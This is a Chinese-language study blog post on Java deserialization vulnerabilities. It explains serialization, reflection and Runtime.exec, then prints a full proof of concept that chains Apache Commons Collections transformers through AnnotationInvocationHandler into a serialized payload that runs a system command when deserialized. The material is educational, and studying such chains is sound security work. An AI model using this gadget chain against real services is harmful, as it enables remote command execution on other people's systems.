零、Java反序列化漏洞html
java的安全问题数一数二的就是反序列化漏洞,能够执行命令啊,甚至直接getshell,因此趁着这个假期好好研究一下java的反序列化漏洞。另外呢,组里多位大佬对反序列化漏洞都有颇深的研究,借此机会,努力学习,做为狼群中的哈士奇但愿成功的继续假装下去,不被识破,哈哈哈哈!!!java
参考文档:感谢全部参考文献的做者:python
一、https://www.cnblogs.com/bencakes/p/6139477.html程序员
二、https://www.cnblogs.com/ssooking/p/5875215.htmlshell
三、https://www.cnblogs.com/xdp-gacl/p/3777987.htmlapache
1、Java的序列化与反序列化:api
在这里咱们直接本身定义一个类,而后对这个类的对象(一个实例)进行序列化和发序列化测试。数组
1 //引入必要的java包文件 2 import java.io.*; 3 4 //建立测试类,注意要继承Serializable接口 5 class serialdemo implements Serializable{ 6 public static int number; 7 public serialdemo(int inputnum) { 8 this.number = inputnum; 9 } 10 } 11 12 //主类 13 public class test{ 14 //测试主类 15 public static void main(String[] args) throws IOException, ClassNotFoundException { 16 //主函数入口 17 serialdemo object = new serialdemo(100); 18 FileOutputStream fileoutputstream = new FileOutputStream("serail.ser");//建立文件写入对象 19 ObjectOutputStream outputstream = new ObjectOutputStream(fileoutputstream);//建立类型序列化通道对象 20 outputstream.writeObject(object);//把类对象(实例)序列化进入文件 21 outputstream.close(); 22 FileInputStream fileinputstream = new FileInputStream("serail.ser");//从文件读取对象 23 ObjectInputStream inputstream = new ObjectInputStream(fileinputstream);//对象反序列化 24 // 经过反序列化恢复对象obj 25 serialdemo object2 = (serialdemo)inputstream.readObject(); 26 System.out.println("反序列化后的对象的值:"); 27 System.out.println(object2.number); 28 inputstream.close(); 29 } 30 }
既然本身定义的类均可以了,那么默认的java存在的数据类型的实例固然也均可以啦~运行结果以下:安全
1 └─[$]> java test 2 反序列化后的对象的值: 3 100
2、对java序列化的详解:数据结构
一、api定位:
1 /* 2 java.io.ObjectOutputStream -> writeObject() 3 java.io.ObjectInputStream -> readObject() 4 序列化把对象序列化成字节流 5 反序列化读取字节流反序列化对象 6 */
二、实现Serializable和Externalizable接口的类才能序列化与反序列化。
三、java的反射机制:
/* 在java运行状态中 1.对于任何一个类,都能判断对象所属的类; 2.对于任何一个类,都能获取其全部的属性和方法; 3.对于任何一个对象,都能调用任意一个方法和属性; */
3、反序列化的漏洞原理概述:
一、因为不少站点或者RMI仓库等接口处存在java的反序列化功能,攻击者能够经过构造特定的恶意对象序列化后的流,让目标反序列化,从而达到本身的恶意预期行为,包括命令执行,甚至getshell等等。
二、Apache Commons Collections
这是开源小组Apache研发的一个Collections收集器框架,提供诸如list、set、queue等功能对象。这个框架中有一个接口,其中有一个实现该接口的类能够经过调用java的反射机制来调用任意函数,这个接口类是InvokerTransformer。这个架构的普遍使用,也致使了java反序列化漏洞的大面积流行。
三、java执行系统命令:
1 //命令执行函数 2 public void test() throws IOException, InterruptedException { 3 Process process = Runtime.getRuntime().exec("whoami"); 4 InputStream inputstream = process.getInputStream(); 5 BufferedReader reader = new BufferedReader(new InputStreamReader(inputstream)); 6 process.waitFor(); 7 if (process.exitValue() != 0) { 8 //说明命令执行失败 9 //能够进入到错误处理步骤中 10 } 11 //打印输出信息 12 String s = null; 13 while ((s = reader.readLine()) != null) { 14 System.out.println(s); 15 } 16 }
简介:
Runtime.getRuntime().exec("command_string");
回显呢:
Process process = Runtime.getRuntime().exec("command_string");
InputStream inputstream = process.getInputStream();
BufferReader reader = new BufferReader(new InputStreamReader(inputstream));
System.out.prinln(reader.readLine());
把上面结合起来就是序列化的打法。
4、关于反射链
之前一直不理解反射链是什么定西,如今咱们来看看接口源代码:
咱们来理一理这一段:
开始:
能够看出来这个方法,属于一个对象,输出另一个对象,完成了类型的转换。同时这个接口还能够串联完成一系列的转换,构成反射链。
Apache Commons Collections中已经实现了一些常见的Transformer,其中有一个能够经过Java的反射机制来调用任意函数,叫作InvokerTransformer,代码以下:
1 public class InvokerTransformer implements Transformer, Serializable { 2 3 ... 4 5 /* 6 Input参数为要进行反射的对象, 7 iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型 8 iArgs为对应方法的参数 9 在invokeTransformer这个类的构造函数中咱们能够发现,这三个参数均为可控参数 10 */ 11 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { 12 super(); 13 iMethodName = methodName; 14 iParamTypes = paramTypes; 15 iArgs = args; 16 } 17 18 public Object transform(Object input) { 19 if (input == null) { 20 return null; 21 } 22 try { 23 Class cls = input.getClass(); 24 Method method = cls.getMethod(iMethodName, iParamTypes); 25 return method.invoke(input, iArgs); 26 27 } catch (NoSuchMethodException ex) { 28 throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); 29 } catch (IllegalAccessException ex) { 30 throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); 31 } catch (InvocationTargetException ex) { 32 throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); 33 } 34 } 35 36 }只须要传入方法名、参数类型和参数,便可调用任意函数。
在这里,咱们能够看到,先用ConstantTransformer()获取了Runtime类,接着反射调用getRuntime函数,再调用getRuntime的exec()函数,执行命令。依次调用关系为: Runtime --> getRuntime --> exec()。所以,咱们要提早构造 ChainedTransformer链,它会按照咱们设定的顺序依次调用Runtime, getRuntime,exec函数,进而执行命令。正式开始时,咱们先构造一个TransformeMap实例,而后想办法修改它其中的数据,使其自动调用tansform()方法进行特定的变换(即咱们以前设定好的)
5、poc原理分析:
参考大牛博客,给出一个原理解释知识点
1 ConstantTransformer 2 把一个对象转化为常量,并返回。 3 4 InvokerTransformer 5 经过反射,返回一个对象 6 7 ChainedTransformer 8 ChainedTransformer为链式的Transformer,会挨个执行咱们定义Transformer
不得不说上面大牛博客分析的大段的代码原理我基本都不懂,由于不是java程序员的我对此真是摸不着头脑,可是咱们能够作以下总结:
1 /* 2 一、java反序列化能够远程执行命令。 3 二、java执行命令用到Runtime.getRuntime().exec("whoami"); 4 三、java在apache commons collections中存在InvokerTransoformer接口能够串联对对象进行转化,造成反射链。 5 四、ConstantTransformer能够把对象转换为常量返回。 6 五、ChainedTransformer为链式的Transformer,会挨个执行咱们定义Transformer 7 六、AnnotationInvocationHandler类能够致使命令执行在readobject时候自动执行 8 */
POC的思路:
1 /* 2 1)首先构造一个Map和一个可以执行代码的ChainedTransformer, 3 2)生成一个TransformedMap实例 4 3)实例化AnnotationInvocationHandler,并对其进行序列化, 5 4)当触发readObject()反序列化的时候,就能实现命令执行。 6 POC执行流程为 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功触发 7 */
分析大牛poc核心代码逻辑:
1 /* 2 核心逻辑表达式: 3 ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit"); 4 主函数中: 5 一、定义一个要执行的命令字符串:String commandstring = "whoami"; 6 二、定义一个执行逻辑: 7 Transformer[] transformers = new Transformer[] { 8 new ConstantTransformer(Runtime.class), 9 new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}), 10 new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null}) 11 new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring}) 12 } 13 三、执行逻辑转化操做(ChainedTransformer类对象,传入transformers数组,能够按照transformers数组的逻辑执行转化操做): 14 Transformer transformedChain = new ChainedTransformer(transformers); 15 四、后面是关于不关心的东西,写死便可: 16 Map<String,String> BeforeTransformerMap = new HashMap<String,String>(); 17 BeforeTransformerMap.put("hello", "hello"); 18 Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain); 19 Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 20 Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); 21 ctor.setAccessible(true); 22 Object instance = ctor.newInstance(Target.class, AfterTransformerMap); 23 File f = new File("temp.bin"); 24 ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); 25 out.writeObject(instance); 26 */ 27 28 //引入必要的java包文件 29 import java.io.File; 30 import java.io.FileInputStream; 31 import java.io.FileNotFoundException; 32 import java.io.FileOutputStream; 33 import java.io.IOException; 34 import java.io.ObjectInputStream; 35 import java.io.ObjectOutputStream; 36 import java.lang.annotation.Retention; 37 import java.lang.reflect.Constructor; 38 import java.util.HashMap; 39 import java.util.Map; 40 import java.util.Map.Entry; 41 42 //引入第三方包文件,也就是关于apache的那几个包 43 import org.apache.commons.collections.Transformer; 44 import org.apache.commons.collections.functors.ChainedTransformer; 45 import org.apache.commons.collections.functors.ConstantTransformer; 46 import org.apache.commons.collections.functors.InvokerTransformer; 47 import org.apache.commons.collections.map.TransformedMap; 48 49 //主类 50 public class POC_Test{ 51 public static void main(String[] args) throws Exception { 52 //定义待执行的命令: 53 String commandstring = "whoami"; 54 //定义一个反射链,肯定预约的转化逻辑 55 /* 56 定义一个反射链的方法: 57 Transformer[] varitename = new Transformer[] { 58 new ConstantTransformer(Runtime.class), 59 new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}), 60 new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null}) 61 new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring}) 62 } 63 */ 64 Transformer[] transformers = new Transformer[] { 65 new ConstantTransformer(Runtime.class), 66 /* 67 因为Method类的invoke(Object obj,Object args[])方法的定义 68 因此在反射内写new Class[] {Object.class, Object[].class } 69 正常POC流程举例: 70 ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit"); 71 */ 72 new InvokerTransformer( 73 "getMethod", 74 new Class[] {String.class, Class[].class }, 75 new Object[] {"getRuntime", new Class[0] } 76 ), 77 new InvokerTransformer( 78 "invoke", 79 new Class[] {Object.class,Object[].class }, 80 new Object[] {null, null } 81 ), 82 new InvokerTransformer( 83 "exec", 84 new Class[] {String[].class }, 85 new Object[] { commandstring } 86 //new Object[] { execArgs } 87 ) 88 }; 89 90 //transformedChain: ChainedTransformer类对象,传入transformers数组,能够按照transformers数组的逻辑执行转化操做 91 Transformer transformedChain = new ChainedTransformer(transformers); 92 93 //BeforeTransformerMap: Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict 94 //Map<String, String> BeforeTransformerMap = new HashMap<String, String>(); 95 Map<String,String> BeforeTransformerMap = new HashMap<String,String>(); 96 BeforeTransformerMap.put("hello", "hello"); 97 98 //Map数据结构,转换后的Map 99 /* 100 TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。 101 第一个参数为待转化的Map对象 102 第二个参数为Map对象内的key要通过的转化方法(可为单个方法,也可为链,也可为空) 103 第三个参数为Map对象内的value要通过的转化方法。 104 */ 105 //TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null)); 106 Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain); 107 Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 108 Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); 109 ctor.setAccessible(true); 110 Object instance = ctor.newInstance(Target.class, AfterTransformerMap); 111 File f = new File("temp.bin"); 112 ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); 113 out.writeObject(instance); 114 } 115 } 116 117 /* 118 思路:构建BeforeTransformerMap的键值对,为其赋值, 119 利用TransformedMap的decorate方法,对Map数据结构的key/value进行transforme 120 对BeforeTransformerMap的value进行转换,当BeforeTransformerMap的value执行完一个完整转换链,就完成了命令执行 121 122 执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........) 123 利用反射调用Runtime() 执行了一段系统命令, Runtime.getRuntime().exec() 124 125 */